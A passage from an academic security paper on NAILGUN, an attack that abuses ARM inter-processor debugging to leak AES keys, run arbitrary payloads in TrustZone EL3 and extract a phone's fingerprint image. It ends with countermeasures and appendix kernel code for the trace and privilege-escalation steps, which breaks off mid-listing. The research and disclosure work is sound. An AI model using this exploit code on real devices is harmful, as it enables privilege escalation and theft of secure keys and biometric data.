stream, we decode the addresses of the accessed table entries
in each encryption round and convert them into the indices of
the entries by the base addresses of the tables, as shown in Â.
With the indices and the ciphertext, it is trivial to reverse the
AES encryption algorithm and calculate the round keys in Ã.
Finally, with the encryption key and accessed table entries in
round 1, NAILGUN decodes the original encryption key in Ä.
The critical part of the source code is included in Appendix A.

Note that previous side-channel attacks to the AES algo-
rithm require hundreds of or even thousands of runs with
different plaintexts to exhaust different possibilities. NAILGUN
is able to reveal the AES encryption key with a single run of
an arbitrary plaintext.

2) Arbitrary Payload Execution with Invasive Debugging

The invasive debugging is more powerful than the non-

invasive debugging since we can halt the target processor and
access the restricted resources via the debugging architecture.
Figure 5 shows a brief concept about the privilege escalation
with invasive debugging, and we further expand the idea to
achieve arbitrary payload execution.

The EDITR register offers an attacker the ability to execute
instructions on the TARGET from the HOST. However, not all
of the instructions can be executed via the EDITR register. For
example, the execution of branch instructions (e.g., b, bl, and
blr instructions) in EDITR leads to an unpredictable result.
Meantime, a malicious payload in real world normally contains
branch instructions. To bypass the restriction, NAILGUN crafts
a robust approach to executing arbitrary payload in the high-
privilege modes.

In general, we consider the execution of the malicious
payload should satisfy three basic requirements: 1) Com-
pleteness. The payload should be executed in the non-debug
state to overcome the instruction restriction of the EDITR
register. 2) High Privilege. The payload should be executed
with a privilege higher than the attacker owns. 3) Robust. The
execution of the payload should not affect the execution of
other programs.

To satisfy the first requirement, NAILGUN has to manipulate
the control flows of the non-debug state in the TARGET. For
a processor in the debug state, the DLR_EL0 register holds
the address of the first instruction to execute after exiting the
debug state. Thus, an overwrite to this register can efficiently
hijack the instruction control flow of the TARGET in the non-
debug state.

The second requirement is tricky to satisfy. Note that
the execution of the dcps instructions does not change the
exception level of the non-debug state, which means that
we need another privilege escalation in the non-debug state
although the HOST can promote the privilege of the TARGET
in the debug state. The smc instruction in the non-debug state
asserts a Secure Monitor Call (SMC) exception which takes
the processor to EL3, and we can leverage this instruction to
enter EL3. However, we still need to redirect the execution
to the payload after entering EL3. In each exception level,
the incoming exceptions are handled by the handler specified
in the corresponding exception vectors. In light of this, we
manipulate the exception vector and redirect the corresponding
exception handlers to the payload.

The third requirement is also critical since NAILGUN ac-
tually modifies the instruction pointed by DLR_EL0 and the
exception vectors indicated by the VBAR_EL3 registers. To
avoid the side-effect introduced by the manipulation, NAIL-
GUN needs to rollback these changes in the TARGET after the
execution of the payload. Moreover, NAILGUN needs to store
the value of stack pointers and general purpose registers at the
very beginning of the payload and reverts them at the end of
the payload.

We implement NAILGUN on 64-bit ARMv8 Juno r1
board [10] to show that the Implications 2-4 lead to arbitrary
payload execution in EL3. The board includes two Cortex-
A57 processors and four Cortex-A53 processors, and we use



msr daifclr, #4

mov x0, #1

b payload

smc #0 ...
eret

...

smc #0

smc #0 mov x0, #1

Normal Memory Secure Memory Normal Memory Secure Memory Normal Memory Secure Memory

Normal Memory Secure Memory

DLR_EL0

VBAR_EL3
+ 0x400

... ...

pc

VBAR_EL3
+ 0x400

payload:

ELR_EL3

pc
VBAR_EL3

+ 0x400

ELR_EL3

Normal Memory Secure Memory

payload:

pc

msr daifclr, #4

mov x0, #1

...

pc

Normal Memory Secure Memory

msr daifclr, #4

...
eret

...

...
b payload

...
eret

...

...

VBAR_EL3
+ 0x400

VBAR_EL3
+ 0x400

b payload

...
eret

...

...

VBAR_EL3
+ 0x400

payload:

payload:

DLR_EL0

(a) Entering Debug State (b) Exiting Debug State (c) Entering Non-Debug State

(d) Executing smc Instruction (e) Exiting Secure State (f) Entering Non-Secure State

Figure 7: Executing Arbitrary Payload in the Secure State.

ARM Trusted Firmware (ATF) [11] and Linaro’s deliverables
on OpenEmbedded Linux for Juno [40] to build the software
environment that enables both the secure and non-secure OSes.
In the ATF implementation, the memory range 0xFF000000-
0xFFDFFFFF is configured as the secure memory, and we
demonstrate that we can copy arbitrary payload to the secure
memory and execute it via an LKM in non-secure EL1.

The source code of the implementation is included in
Appendix B, and Figure 7 describes the status and mem-
ory changes of the TARGET during the entire attack. The
highlighted red in the figure implies the changed status and
memory. In Figure 7(a), the TARGET is halted by the HOST
before the execution of the mov instruction. Meantime, the
VBAR_EL3 points to the EL3 exception vector. Since the
SMC exception belongs to the synchronous exception and
Juno board implements EL3 using 64-bit architecture, the
corresponding exception handler is at offset 0x400 of the ex-
ception vector. Figure 7(b) shows the memory of the TARGET
before exiting the debug state. NAILGUN copies the payload
to the secure memory and changes the instruction pointed
by the DLR_EL0 to an smc instruction. Moreover, the first
instruction in the 64-bit EL3 synchronous exception handler
(pointed by VBAR_EL3 + 0x400) is changed to a branch
instruction (the b instruction) targeting the copied payload.
Then, the HOST resumes the TARGET, and the pc points
to the malicious smc instruction, as shown in Figure 7(c).
The execution of the smc instruction takes the TARGET to
the status shown in Figure 7(d). Since the smc instruction
is already executed, the value of the ELR_EL3 register is
the address of the next instruction. Our manipulation of the
exception handler leads to the execution of the payload, which
can both perform malicious activities and restore the changed
memory. At the end of the payload, an eret instruction is
leveraged to switch back to the non-secure state. Figure 7(e)
indicates the memory and status before the switch, and the
changes to the non-secure memory and the EL3 exception

Figure 8: Executing Payload in TrustZone via an LKM.

vector is reverted. Moreover, the ELR_EL3 register is also
manipulated to ensure the execution of the mov instruction.
Finally, in Figure 7(f), the TARGET enters the non-secure state
again, and the memory and status look the same as that in
Figure 7(a).

Figure 8 shows an example of executing payload in Trust-
Zone via an LKM. Our payload contains a minimized serial
port driver so that NAILGUN can send outputs to the serial
port. To certify the attack has succeeded, we also extract the
current exception level from the CurrentEL register. The
last line of the outputs in Figure 8 indicates that NAILGUN is
able to execute arbitrary code in EL3, which owns the highest
privilege over the whole system.

3) Fingerprint Extraction in a Real-world Mobile Phone

To learn the impact of NAILGUN on the real-world devices,
we also show that NAILGUN is able to leak the sensitive
information stored in the secure memory. Currently, one of
the most used security features in the mobile phones is the
fingerprint authentication [29], [48], [72], and the OEMs store
the fingerprint image in TrustZone to enhance the security
of the device [2], [24], [62]. In this experiment, we use
Huawei Mate 7 [29] to demonstrate that the fingerprint image
can be extracted by an LKM running in the non-secure EL1
with the help of NAILGUN. The Huawei Mate 7 is powered
by HiSilicon Kirin 925 SoC, which integrates a quad-core



Figure 9: Fingerprint Image Leaked by NAILGUN from
Huawei Mate 7. Note that the right half of the image is blurred
for privacy concerns.

Cortex-A15 cluster and a quad-core Cortex-A7 cluster. The
FPC1020 [20] fingerprint sensor is used in Mate 7 to capture
the fingerprint image. This phone is selected since the product
specification [21] and driver source code [71] of FPC1020
are publicly available, which reduces the engineering effort of
implementing the attack.

As shown in the previous experiment, NAILGUN offers
a non-secure EL1 LKM the ability to read/write arbitrary
secure/non-secure memory. To extract the fingerprint image,
we need to know 1) where the image is stored and 2) the
format of the image data.

To learn the location of the image, we decom-
pile the TEE OS binary image, which is mapped to
/dev/block/mmcblk0p10, and identify that a function
named fpc1020_fetch_image is used to read the image
from the fingerprint sensor. This function takes a pointer to an
image buffer, an offset to the buffer, and the size of the image
as parameters, and copies the fingerprint image fetched from
the sensor to the image buffer. With further introspection, we
find that Huawei uses a pre-allocated large buffer to store this
image, and a pointer to the head of the buffer is stored in a
fixed memory address 0x2efad510. Similarly, the size of
the image is stored at a fixed memory address 0x2ef7f414.
With the address and size, we extract the image data with
NAILGUN. Since the ARM architectures in Huawei Mate 7
and ARM Juno board are different, the implementations of
NAILGUN are also different (see Section V-B4). The source
code of this experiment is included in Appendix C.

The format of the image data is well-documented in the
FPC1020 product specification [21]. According to the specifi-
cation, each byte of the data indicates the gray scale level
of a single pixel. Thus, with the extracted image data, it
is trivial to craft a gray scale fingerprint image. Figure 9
shows the fingerprint image extracted from Huawei Mate 7
via NAILGUN, and this result demonstrates that NAILGUN is
able to leak the sensitive data from the TEE in commercial
mobile phones with some engineering efforts.

4) NAILGUN in 32-bit ARMv8 and ARMv7 Architecture

In Section III, we discussed the security implications of 64-

bit ARMv8 debugging architecture, and similar implications
exist in 32-bit ARMv8 and ARMv7 architecture. However,
there are also some major differences among the implementa-
tions of these architectures, and we discuss the differences in
the following.
32-bit ARMv8 Debugging Architecture. We implement pro-
totypes of NAILGUN with 32-bit ARMv8 on Raspberry PI 3
Model B+ and Motorola E4 Plus. In this architecture, the steps
of halting processor are similar to the aforementioned steps in
64-bit ARMv8 architecture, and the major difference between
NAILGUN on 32-bit and 64-bit ARMv8 architecture is the
usage of the EDITR. In the 64-bit ARMv8, we directly write
the binary representation of the instruction into the EDITR.
However, the first half and last half of the instruction need
to be reversed in the 32-bit ARMv8. For example, the binary
representation of the dcps3 instruction is 0xD4A00003 and
0xF78F8003 in 64-bit and 32-bit ARMv8, respectively. In
the 64-bit ARMv8 architecture, we make the processor in the
debug state execute this instruction via writing 0xD4A00003
to the EDITR. However, the instruction written to the EDITR
should be 0x8003F78F instead of 0xF78F8003 in the 32-
bit ARMv8 architecture.
ARMv7 Debugging Architecture. In regard to ARMv7, we
implement NAILGUN on Huawei Mate 7 as discussed in
Section V-B3, and there are three major differences between
NAILGUN on ARMv7 and ARMv8 architectures. Firstly, the
ECT is not required to halt and restart a processor in ARMv7.
Writing 1 to the bit[0] and bit[1] of the Debug Run Control
Register (DBGDRCR) can directly halt and restart a processor,
respectively. Secondly, the ITRen bit of the EDSCR controls
whether the EDITR is enabled in ARMv7 architecture. We
need to enable the ITRen bit after entering the debug state
and disable it again before exiting the debug state. Lastly, the
dcps instructions are undefined in the ARMv7 architecture,
and we need to change the M bits of the Current Program Status
Register (CPSR) to promote the processor to the monitor mode
to access the secure resource.

VI. COUNTERMEASURE

A. Disabling the Signals?

Since NAILGUN attack works only when the debug authenti-
cation signals are enabled, disabling these signals, in intuition,
crafts an effective defense. However, according to the ARM
Architecture Reference Manual [4], [5], the analysis results in
Section IV, and the responses from the hardware vendors, we
consider these signals cannot be simply disabled due to the
following challenges:
Challenge 1: Existing tools rely on the debug authentica-
tion signals. The invasive and non-invasive debugging features
are heavily used to build analysis systems [14], [16], [17],
[18], [22], [38], [39], [44], [50], [74]. Disabling the debug
authentication signals would directly make these systems fully
or partially malfunction. In the ARMv7 architecture [4], the
situation is even worse since the functionality of the widely
used Performance Monitor Unit (PMU) [1], [13], [19], [23],
[50], [61], [76] also relies on the authentication signals.



Since most of the aforementioned analysis systems attempt
to perform malware detection/analysis, the risk of information
leakage or privilege escalation by misusing the debugging fea-
tures is dramatically increased (i.e., the debugging architecture
is a double-edged sword in this case).
Challenge 2: The management mechanisms of the debug
authentication signals are not publicly available. According
to Section IV-C, the management mechanism of the debug
authentication signals is unavailable to the public in most
tested platforms. In our investigation, many SoC manufacturers
keep the TRMs of the SoC confidential; and the publicly
available TRMs of some other SoCs do not provide a com-
plete management mechanism of these signals or confuse
them with the JTAG debugging. The unavailable management
mechanism makes it difficult to disable these signals by
users. For example, developers use devices like Raspberry
PI to build their own low-cost IoT solutions, and the default
enabled authentication signals put their devices into the risk of
being remotely attacked via NAILGUN. However, they cannot
disable these authentication signals due to the lack of available
management mechanisms even they have noticed the risk.
Challenge 3: The one-time programmable feature prevents
configuring the debug authentication signals. We also note
that many of the tested platforms use the fuse to manage the
authentication signals. On the one hand, the one-time pro-
grammable feature of the fuse prevents the malicious override
to the debug authentication signals. However, on the other
hand, users cannot disable these signals to avoid NAILGUN
due to the same one-time programmable feature on existing
devices. Moreover, the fuse itself is proved to be vulnerable
to hardware fault attacks by previous research [66].
Challenge 4: Hardware vendors have concerns about the
cost and maintenance. The debug authentication signals are
based on the hardware but not the software. Thus, without
additional hardware support, the signals cannot be simply
disabled by changing software configurations. According to
the response from hardware vendors, deploying additional
restrictions to the debug authentication signals increases the
cost for the product lines. Moreover, disabling the debug au-
thentication signals prohibits the legitimate debugging process
such as repairing or bug fixing after a product recall, which
introduces extra cost for the maintenance process.

B. Comprehensive Countermeasure

We consider NAILGUN attack is caused by two reasons:
1) the debug authentication signals defined by ARM does
not fully consider the scenario of inter-processor debugging,
which leads to the security implications described in Sec-
tion III; 2) the configuration of debug authentication signals
described in Section IV-B, which is related to the OEMs and
cloud providers, and the management mechanism described
in Section IV-C, which is related to the SoC manufacturers,
make NAILGUN attack feasible on real-world devices. Thus,
the countermeasures discussed in this section mainly focus
on the design, configuration, and management of the debug
authentication signals. As a supplement, we also provide the

defense that restricting the access to the debug registers, which
may prevent the implementation of NAILGUN. In general,
we leverage the defense in depth concept and suggest a
comprehensive defense across different roles in the ARM
ecosystem.
1) Defense From ARM

Implementing additional restriction in the inter-processor
debugging model. The key issue that drives the existence
of NAILGUN is that the design of the debug mechanism and
authentication signals does not fully consider the scenario of
the newly involved inter-processor debugging model. Thus,
redesign them and make them consider the differences be-
tween the traditional debugging mode and the inter-processor
debugging model would keep the security implications away
completely. Specifically, we suggest the TARGET checks the
type of the HOST precisely. If the HOST is off-chip (the
traditional debugging model), the existing design is good to
work since the execution platforms of the TARGET and the
HOST are separated (their privileges are not relevant). In regard
to the on-chip HOST (the inter-processor debugging model), a
more strict restriction should be required. For example, in the
invasive debugging, the TARGET should check the privilege
of the HOST and response to the debug request only if the
HOST owns a higher or the same privilege as the TARGET.
Similarly, the request of executing dcps instructions should
also take the privilege of the HOST into consideration. The
HOST should never be able to issue a dcps instruction that
escalates the TARGET to an exception level higher than the
current HOST’s exception level.
Refining the granularity of the debug authentication
signals. Other than distinguishing the on-chip and off-chip
HOST, we also suggest the granularity of the authentication
signals should be improved. The DBGEN and NIDEN signals
are designed to control the debugging functionality of the
whole non-secure state, which offers a chance for the kernel-
level (EL1) applications to exploit the hypervisor-level (EL2)
execution. Thus, we suggest a subdivision to these signals.
2) Defense From SoC Manufacturers

Defining a proper restriction to the signal management
procedure. Restricting the management of these signals would
be a reasonable defense from the perspective of the SoC
manufacturers. Specifically, the privilege required to access
the management unit of a debug authentication signal should
follow the functionality of the signal to avoid the malicious
override. For example, the management unit of the SPNIDEN
and SPIDEN signals should be restricted to secure-access only.
The restriction methods of current SoC designs are either too
strict or too loose. On the ARM Juno SoC [10], all the debug
authentication signals can only be managed in the secure state.
Thus, if these signals are disabled, the non-secure kernel can
never use the debugging features to debug the non-secure
processor, even the kernel already owns a high privilege in
the non-secure content. We consider this restriction method is
too strict since it somehow restricts the legitimate usage of
the debugging features. The design of the i.MX53 SoC [51],



as opposed to ARM Juno SoC, shows a loose restriction. The
debug authentication signals are designed to restrict the usage
of the external debugger, however, the i.MX53 SoC allows
an external debugger to enable the authentication signals. We
consider this restriction method is too loose since it introduces
a potential attack surface to these signals.
Applying hardware-assisted access control to the debug
registers. NAILGUN attack relies on the access to the debug
registers, and the access is typically achieved by memory-
mapped interfaces. Intuitively, the restriction to the access
of these registers would help to enhance the security of the
platform. However, we consider this restriction should be
controlled in hardware-level instead of software-level. If the
restriction is implemented by software running in the non-
secure mode (e.g., the OS), the malware with kernel privilege
may bypass it easily. If the restriction is implemented in
the secure mode (e.g., TEE), it might introduce a significant
performance overhead due to the semantic gap between the
two modes. In contrast, if the hardware-assisted access control
applies, the access to the debug registers may be protected by
hardware traps or interrupts. During the responsible disclosure
to MediaTek, we learn that they have the hardware-based
technology for TrustZone boundary division, and they are
planning to use it to restrict the access to the debug registers
to mitigate the reported attack.

3) Defense From OEMs and Cloud Providers

Keeping a balance between security and usability. With
the signal management mechanism released by the SoC man-
ufacturers, we suggest that OEMs and cloud providers disable
all the debug authentication signals by default. This default
configuration not only helps to protect the secure content from
the non-secure state, but also avoids the privilege escalation
among the non-secure exception levels. Meantime, they should
allow the application with a corresponding privilege to enable
these signals for legitimate debugging or maintenance purpose,
and the usage of the signals should strictly follow the man-
agement mechanism designed by the SoC manufacturers. With
this design, the legitimate usage of the debugging features
from the privileged application is allowed while the misuse
from the unprivileged application is forbidden. Moreover,
since the debugging features are exploited via the CoreSight
components and the debug registers, applying a similar re-
striction to the access of CoreSight components and debug
registers can also form an effective defense.
Disabling the LKM in the Linux-based OSes. In most
platforms, the debug registers work as an I/O device, and the
attacker needs to manually map the physical address of the
debug registers to virtual memory address space, which re-
quires kernel privilege, to gain access to these registers. In the
Linux kernel, the regular approach to execute code with kernel
privilege is to load an LKM. The LKMs in the traditional PC
environment normally provide additional drivers or services.
However, in the scenario of mobile devices and IoT devices,
where the LKMs are not highly needed, we may disable the
loading of the LKMs to prevent the arbitrary code execution

in the kernel privilege. In this case, the attacker would not
be able to map the debug registers into the memory even
she has gained root privilege by tools like SuperSU [37].
Moreover, to prevent the attacker from replacing the stock
kernel with a customized kernel that enables the LKM, the
OEM may add some additional hash/checksums to verify the
kernel image. Note that forbidding the customized kernel does
not necessarily affect flashing a customized ROM, and the
third-party ROM developers can still develop their ROMs
based on the stock kernel.

VII. CONCLUSIONS

In this paper, we perform a comprehensive security analysis
of the ARM debugging features, and summarize the security
implications. For a better understanding of the problem, we
also investigate a series of ARM-based platforms powered by
different SoCs and deployed in various product domains. Our
analysis and investigation expose an attack surface of the ARM
devices via the debugging architecture. To further verify the
implications, we craft a novel attack named NAILGUN which
obtains sensitive information and achieves arbitrary payload
execution in a high-privilege mode from a low-privilege mode
via misusing the debugging features. Our experiments on real
devices with different ARM architectures show that all the
platforms we investigated are vulnerable to the attack. We also
discuss potential countermeasures to our attack from different
layers of the ARM ecosystem to improve the security of the
commercial devices.
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APPENDIX

A. Enabling ETM Trace and Extracting the Trace Stream

1 void enable_etb() {
2 // Set data write pointer to 0x0
3 reg_write(ETB_RWP, 0x0);
4 // Clear up the ETB
5 for (int i = 0; i < ETB_SIZE; ++i) {
6 reg_write(ETB_RWD, 0x0);
7 }
8 // Reset the data read/write pointer to 0x0
9 reg_write(ETB_RRP, 0x0);

10 reg_write(ETB_RWP, 0x0);
11 // Configure the ETB flush trigger
12 reg_write(ETB_FFCR, 0x320);
13 // Enable ETB
14 reg_write(ETB_CTL, 0x1);
15 }
16

17 void set_etm_programming_bit(char set) {
18 // Set the programming bit according to the parameter
19 int reg = reg_read(ETM_CR);
20 reg &= ~0x400;
21 reg |= set << 10;
22 reg_write(ETM_CR, reg);
23 // Wait for the ETM status change
24 reg = reg_read(ETM_SR);
25 while ((set == 1 && (reg & 0x2) != 0x2) ||
26 (set == 0 && (reg & 0x2) == 0x2)) {
27 reg = reg_read(ETM_SR);
28 }
29 }
30

31 void enable_etm() {
32 // Set the ETM programming bit to start the configuration

33 set_etm_programming_bit(1);
34 // Clear the ETM power down bit
35 int reg = reg_read(ETM_CR);
36 reg &= ~0x1;
37 reg_write(ETM_CR, reg);
38 // Set the trigger event to be always triggered
39 reg_write(ETM_TRIGGER, 0x406f);
40 // Setup a pair of single address comparator as an address range

comparator
41 reg_write(ETM_ACVR1, ADDRESS_BEGIN);
42 reg_write(ETM_ACTR1, 0x1);
43 reg_write(ETM_ACVR2, ADDRESS_END);
44 reg_write(ETM_ACTR2, 0x1);
45

46 // Configure instruction trace
47 // Use address range comparator 1 as filter
48 reg_write(ETM_TECR1, 0x1);
49 // No start and stop control
50 reg_write(ETM_TSSCR, 0x0);
51 // No single address comparator for include/exclude
52 reg_write(ETM_TECR2, 0x0);
53 // Set the TraceEnable enabling event to be always triggered
54 reg_write(ETM_TEEVR, 0x6f);
55

56 // Configure data address trace
57 // Use address range comparator 1 as filter
58 reg_write(ETM_VDCR3, 0x1);
59 // No single address comparator for include/exclude
60 reg_write(ETM_VDCR1, 0x0);
61 // ETMVDCR2 no include and exclude for mmd
62 reg_write(ETM_VDCR2, 0x0);
63 // Set the ViewData enabling event to be always triggered
64 reg_write(ETM_VDEVR, 0x6f);
65

66 // Configure the ETM options
67 reg = reg_read(ETM_CR);
68 reg |= 0x2e848;
69 reg_write(ETM_CR, reg);
70

71 // Finish ETM programming
72 set_etm_programming_bit(0);
73 }
74

75 void extrace_trace(char∗ buffer) {
76 // Set the ETM programming bit to start the configuration
77 set_etm_programming_bit(1);
78 // Set the ETM power down bit to stop trace
79 int reg = reg_read(ETM_CR);
80 reg |= 0x1;
81 reg_write(ETM_CR, reg);
82

83 // Make ETB stops after the next flush
84 reg = reg_read(ETB_FFCR);
85 reg |= 0x1000;
86 reg_write(ETB_FFCR, reg);
87 // Generate a manual flush
88 reg |= 0x40;
89 reg_write(ETB_FFCR, reg);
90 // Wait for the flush event
91 reg = reg_read(ETB_FFCR);
92 while ((reg & 0x40) == 0x40) {
93 reg = reg_read(ETB_FFCR);
94 }
95 // Disable ETB
96 reg = reg_read(ETB_CTL);
97 reg &= ~0x1;
98 reg_write(ETB_CTL, reg);
99 // Wait for the ETB to stop

100 reg = reg_read(ETB_FFSR);
101 while ((reg & 0x2) != 0x2) {
102 reg = reg_read(ETB_FFSR);
103 }
104

105 // Read the trace stream
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106 reg_write(ETB_RRP, 0);
107 for (int i = 0; i < 0x400; ++i) {
108 reg = reg_read(ETB_RRD);
109 ∗buffer++ = reg & 0xff;
110 ∗buffer++ = (reg >> 8) & 0xff;
111 ∗buffer++ = (reg >> 16) & 0xff;
112 ∗buffer++ = (reg >> 24) & 0xff;
113 }
114 }
115

116 char∗ infer_aes_encryption_key() {
117 // A random 128−bit input
118 char plaintext[16] = {0x6b, 0xc1, 0xbe, 0xe2, 0x2e, 0x40,
119 0x9f, 0x96, 0xe9, 0x3d, 0x7e, 0x11, 0x73, 0x93, 0x17, 0x2a};
120 // Allocate buffer for the ETM trace data
121 char buffer[4096] = {’\0’};
122

123 // Enable trace
124 enable_etb();
125 enable_etm();
126

127 // Trigger the secure AES encryption
128 char∗ ciphertext = aes_encryption(plaintext);
129

130 // Extract the trace stream
131 extrace_trace(buffer);
132

133 return analyze_trace(buffer, plaintext, ciphertext);
134 }

B. Arbitrary Payload Execution

1 struct reg_base {
2 void __iomem ∗debug;
3 void __iomem ∗cti;
4 } t_reg_base;
5

6 static void enable_halting_debug(void) {
7 // Set the halting debug enable bit
8 u32 reg;
9 __asm__ volatile("mrs %0, mdscr_el1\n": "=r"(reg));

10 reg |= 0x4000;
11 __asm__ volatile("msr mdscr_el1, %x0\n":: "r"(reg));
12 }
13

14 static void halt_by_ect(void __iomem ∗cti) {
15 // Enable ECT
16 iowrite32(0x1, cti + CTICONTROL_OFFSET);
17 // Disable channel 0 propagation
18 u32 reg = ioread32(cti + CTIGATE_OFFSET);
19 reg &= ~0x1;
20 iowrite32(reg, cti + CTIGATE_OFFSET);
21 // Trigger a debug request on each channel 0 event
22 reg = ioread32(cti + CTIOUTEN0_OFFSET);
23 reg |= 0x1;
24 iowrite32(reg, cti + CTIOUTEN0_OFFSET);
25 // Trigger a channel 0 event
26 reg = ioread32(cti + CTIAPPPULSE_OFFSET);
27 reg |= 0x1;
28 iowrite32(reg, cti + CTIAPPPULSE_OFFSET);
29 }
30

31 static void restart_by_ect(void __iomem ∗cti) {
32 // Enable ECT
33 iowrite32(0x1, cti + CTICONTROL_OFFSET);
34 // Disable channel 1 propagation
35 u32 reg = ioread32(cti + CTIGATE_OFFSET);
36 reg &= ~0x2;
37 iowrite32(reg, cti + CTIGATE_OFFSET);
38 // Trigger a restart request on each channel 1 event
39 reg = ioread32(cti + CTIOUTEN1_OFFSET);
40 reg |= 0x2;

41 iowrite32(reg, cti + CTIOUTEN1_OFFSET);
42 // Trigger a channel 1 event
43 reg = ioread32(cti + CTIAPPPULSE_OFFSET);
44 reg |= 0x2;
45 iowrite32(reg, cti + CTIAPPPULSE_OFFSET);
46 }
47

48 static void execute_ins_via_itr(void __iomem ∗debug, u32 ins) {
49 // Write instruction to EDITR register to execute it
50 iowrite32(ins, debug + EDITR_OFFSET);
51 // Wait until the execution is finished
52 u32 reg = ioread32(debug + EDSCR_OFFSET);
53 while ((reg & 0x1000000) != 0x1000000) {
54 reg = ioread32(debug + EDSCR_OFFSET);
55 }
56 // Check the execution result
57 if ((reg & 0x40) == 0x40) {
58 printk("Executing instruction 0x%08x failed \n", ins);
59 }
60 }
61

62 static u64 read_register_via_x0(void __iomem ∗debug, u32 ins) {
63 // Execute the ins to copy the target register to X0
64 execute_ins_via_itr(debug, ins);
65 // Copy X0 to the DCC register DBGDTR_EL0
66 // 0xd5130400 <=> msr DBGDTR_EL0, X0
67 execute_ins_via_itr(debug, 0xd5130400);
68 // Read the DBGDTR_EL0 via the memory mapped interface
69 u64 reg1 = ioread32(debug + DBGDTRRX_OFFSET);
70 u64 reg2 = ioread32(debug + DBGDTRTX_OFFSET);
71 return ((reg1 & 0xffffffff) << 32) + (reg2 & 0xffffffff);
72 }
73

74 static void write_register_via_x0(void __iomem ∗debug, u32 ins, u64
value) {

75 // Write the value to DBGDTR_EL0 via the memory mapped
interface

76 iowrite32((u32)(value & 0xffffffff), debug + DBGDTRRX_OFFSET);
77 iowrite32((u32)(value >> 32), debug + DBGDTRTX_OFFSET);
78 // Copy DBGDTR_EL0 to X0
79 // 0xd5330400 <=> mrs X0, DBGDTR_EL0
80 execute_ins_via_itr(debug, 0xd5330400);
81 // Execute the ins to copy X0 to the target register
82 execute_ins_via_itr(debug, ins);
83 }
84

85 static void save_context(void __iomem ∗debug, u64∗ buf) {
86 // Save X0
87 // 0xaa0003e0 <=> mov X0, X0
88 buf[0] = read_register_via_x0(debug, 0xaa0003e0);
89 // Save ELR_EL1
90 // 0xd5384020 <=> mrs X0, ELR_EL1
91 buf[1] = read_register_via_x0(debug, 0xd5384020);
92 // Save SPSR_EL1
93 // 0xd5384000 <=> mrs X0, SPSR_EL1
94 buf[2] = read_register_via_x0(debug, 0xd5384000);
95 // Save ESR_EL1
96 // 0xd5385200 <=> mrs X0, ESR_EL1
97 buf[3] = read_register_via_x0(debug, 0xd5385200);
98 // Save DLR_EL0
99 // 0xd53b4520 <=> mrs X0, DLR_EL0

100 buf[4] = read_register_via_x0(debug, 0xd53b4520);
101 // Save DSPSR_EL0
102 // 0xd53b4500 <=> mrs X0, DSPSR_EL0
103 buf[5] = read_register_via_x0(debug, 0xd53b4500);
104 }
105

106 static void restore_context(void __iomem ∗debug, u64∗ buf) {
107 // Restore X0
108 // 0xaa0003e0 <=> mov X0, X0
109 write_register_via_x0(debug, 0xaa0003e0, buf[0]);
110 // Restore ELR_EL1
111 // 0xd5184020 <=> msr ELR_EL1, X0
112 write_register_via_x0(debug, 0xd5184020, buf[1]);



113 // Restore SPSR_EL1
114 // 0xd5184000 <=> msr SPSR_EL1, X0
115 write_register_via_x0(debug, 0xd5184000, buf[2]);
116 // Restore ESR_EL1
117 // 0xd5185200 <=> msr ESR_EL1, X0
118 write_register_via_x0(debug, 0xd5185200, buf[3]);
119 // Restore DLR_EL0
120 // 0xd51b4520 <=> msr DLR_EL0, X0
121 write_register_via_x0(debug, 0xd51b4520, buf[4]);
122 // Restore DSPSR_EL0
123 // 0xd51b4500 <=> msr DSPSR_EL0, X0
124 write_register_via_x0(debug, 0xd51b4500, buf[5]);
125 }
126

127 static u32 read_memory_via_dcc(void __iomem ∗debug, u64 addr) {
128 // Write the address to DBGDTR_EL0 via the memory mapped

interface
129 iowrite32((u32)(addr & 0xffffffff), debug + DBGDTRRX_OFFSET);
130 iowrite32((u32)(addr >> 32), debug + DBGDTRTX_OFFSET);
131 // Put the memory address to X0
132 // 0xd5330400 <=> mrs X0, DBGDTR_EL0
133 execute_ins_via_itr(debug, 0xd5330400);
134 // A dummy instruction to set the EDSCR.TXfull bit
135 // 0xd5130400 <=> msr DBGDTR_EL0, X0
136 execute_ins_via_itr(debug, 0xd5130400);
137 // Switch to memory access mode
138 u32 reg = ioread32(debug + EDSCR_OFFSET);
139 reg |= 0x100000;
140 iowrite32(reg, debug + EDSCR_OFFSET);
141 // Discard the first read
142 ioread32(debug + DBGDTRTX_OFFSET);
143 // Switch to normal access mode
144 reg = ioread32(debug + EDSCR_OFFSET);
145 reg &= ~0x100000;
146 iowrite32(reg, debug + EDSCR_OFFSET);
147 // Read DBGDTRTX_EL0 again to get the value at the target

address
148 return ioread32(debug + DBGDTRTX_OFFSET);
149 }
150

151 static void write_memory_via_dcc(void __iomem ∗debug, u64 addr, u32
∗ content, u32 len) {

152 // Write the address to DBGDTR_EL0 via the memory mapped
interface

153 iowrite32((u32)(addr & 0xffffffff), debug + DBGDTRRX_OFFSET);
154 iowrite32((u32)(addr >> 32), debug + DBGDTRTX_OFFSET);
155 // Put the memory address to X0
156 // 0xd5330400 <=> mrs X0, DBGDTR_EL0
157 execute_single_ins_via_itr(debug, 0xd5330400);
158 // Switch to memory access mode
159 u32 reg = ioread32(debug + EDSCR_OFFSET);
160 reg |= 0x100000;
161 iowrite32(reg, debug + EDSCR_OFFSET);
162 // Since the memory address will also automatically increase in

memory access mode, we only need to write to
DBGDTRRX_EL0

163 for (int i = 0; i < len; ++i) {
164 iowrite32(content[i], debug + DBGDTRRX_OFFSET);
165 }
166 // Switch to normal access mode
167 reg = ioread32(debug + EDSCR_OFFSET);
168 reg &= ~0x100000;
169 iowrite32(reg, debug + EDSCR_OFFSET);
170 }
171

172 static void payload_execution(struct reg_base ∗base) {
173 // Step 1: Use ECT to halt the target processor
174 halt_by_ect(base−>cti);
175

176 // Step 2: Save context
177 u64∗ buf = kmalloc(sizeof(u64) ∗ 6, GFP_KERNEL);
178 save_context(base−>debug, buf);
179

180 // Step 3: Override the instruction pointed by DLR_EL0 to trigger
the SMC exception once the processor exits the debug state

181 u64 dlr_el0 = buf[4];
182 // Save the instruction at the address pointed by DLR_EL0
183 u32 ins_at_dlr_el0_src = ∗((u32∗)dlr_el0);
184 // Override the instruction with the smc instruction
185 // 0xd4000003 <=> smc #0
186 ∗((volatile u32∗)dlr_el0) = 0xd4000003;
187

188 // Step 4: Privilege escalation
189 // 0xd4a00003 <=> dcps3
190 execute_single_ins_via_itr(base−>debug, 0xd4a00003);
191

192 // Step 5: Override the EL3 exception table
193 // Find the address of EL3 exception table
194 // 0xd53ec000 <=> mrs X0, VBAR_EL3
